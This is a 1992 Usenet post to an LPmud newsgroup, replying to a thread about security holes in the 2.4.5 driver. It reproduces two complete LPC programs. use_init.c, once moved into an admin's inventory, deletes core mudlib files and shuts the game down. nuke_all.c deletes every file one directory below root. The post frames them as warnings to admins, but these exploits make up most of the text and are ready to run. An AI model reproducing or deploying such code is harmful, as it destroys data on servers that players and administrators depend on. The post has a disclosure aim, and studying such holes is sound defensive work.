From: beeman@cats.ucsc.edu (Adam Beeman)
Newsgroups: rec.games.mud.lp
Subject: Re: security holes in 2.4.5
Date: 27 Aug 92 02:34:00 GMT
Organization: University of California; Santa Cruz
NNTP-Posting-Host: am.ucsc.edu


In article <1992Aug27.010426.21811@engage.pko.dec.com> oakley@contra.enet.dec.com (The Zeeker) writes:
>
>In article <9208270003.AA19357@hebrew.cc.columbia.edu>, jlw@HEBREW.CC.COLUMBIA.EDU (James Waldrop) writes...
>>guddt@uniwa.uwa.edu.au (David Bennett) writes...
>>In case no one decides to tell you, there are quite a few non-obvious
>>security holes in 2.4.5.  I'm sure you'll find them soon, though.
>
>	I doubt it, we've got around 120+ wizards here, and we've only
>	ever had problems with 1 or 2 of them for hasseling other wizards
>	with webs and unescabable prison-cells.
>

--- cut here --- 

/*
 * use_init.c
 * while the author of this file intends no actual harm, please
 * take note of what is possible here.
 * The only effective prevention of this is suppressing awareness of this
 * or conversion to "native mode".
 * This is brought to you as a warning that the only real security is
 * daily backups if you are going to use compat_mode and have lots of wizards.
 * 
 * To use this file, simply load it, then type the name of someone who
 * is on and has global access (most admins do).
 *
 * Credits: 
 * This file was written by Buddha@TMI on 5-25-92
 * Please do not retain the header if you use this code.
 * In fact, please don't use this code.
 */

reset(arg) {
	if (arg) return;
	write("Who is an admin?  :");
	input_to("who");
}

who(w) {
	object guy; guy = find_player(w);
	if(!guy){
		write(capitalize(w) + " isn't logged in right now.\n");
		return;
	}
	move_object(this_object(), guy);
}

init() {
	shout("You feel nervous.\n");
	rm("/obj/player"); rm(file_name(this_object())); rm("/obj/master");
	write("Something in the world has changed.\n");
	shutdown();
}

--- cut here ---


/* 
 * nuke_all.c
 *
 * This one hasn't been tested, but I'm pretty sure it will work.
 * This isn't meant for actual use anyways.  It's mainly to show you
 * why you should make frequent backups or get out of compat-mode ASAP.
 * Basically it relies on the hardcoded security system of both the
 * 2.4.5 and 3.0 compat-mode drivers to wreac havoc on the mud buy removing
 * all files only one directory away from "/".  It doesn't rm directories.
 *
 * It may need a little debugging, but I'm sure it can be made to work
 * without much trouble.
 *
 * Give credit to Buddha@TMI for promoting conversion to safer mudlibs.
 * But don't blame the gun maker for the shooting.
 */

string *rootdir;
int i;

reset(arg) { 
	if(arg) return;
        set_heart_beat(1);
	i = 0;
}

valid_write(str) { return str; }
valid_read(str)  { return str; }

heart_beat() {
	int j;
	string *files;
	if(!rootdir)
		rootdir = get_dir("/");
	if (i>=sizeof(rootdir)) { destruct(this_object()); return; }
	files = get_dir(rootdir[i]); 
	if (!files) { i++; return; }
	for (j=0;j<sizeof(files);j++) rm(rootdir[i] + "/" + files[j]);
	i++;
}

--- cut here ---

Hi kids! Don't try this at home, nuh-uh! Don't be a bad boy and use
these on your favorite COMPAT_MODE LPmud... or your local mud administrator
will be VERY UPSET with you.

Hi, LPmud admins! You may wish to examine the preceding code very carefully
to ensure that it will not work on your mud.  If you cannot find a way to 
prevent it, you may wish to consider a mudlib/gamedriver upgrade.


>-----------------------------------------------------------------
>Brought to you by Treadstone Seventy-One Corporation.
>--- --- --- | /  "Come not between the dragon and his wroth!"
> /  |-  |-  |(    		- Lear, King of England
>--- --- --- | \
>_________________________________________________________________


-- 
#include <std_disclaimer.h>
#define NAME	"Adam Beeman"
#define EMAIL	"beeman@{cats, ucscb}.ucsc.edu"
inherit SIGNATURE; // enhanced .sig virus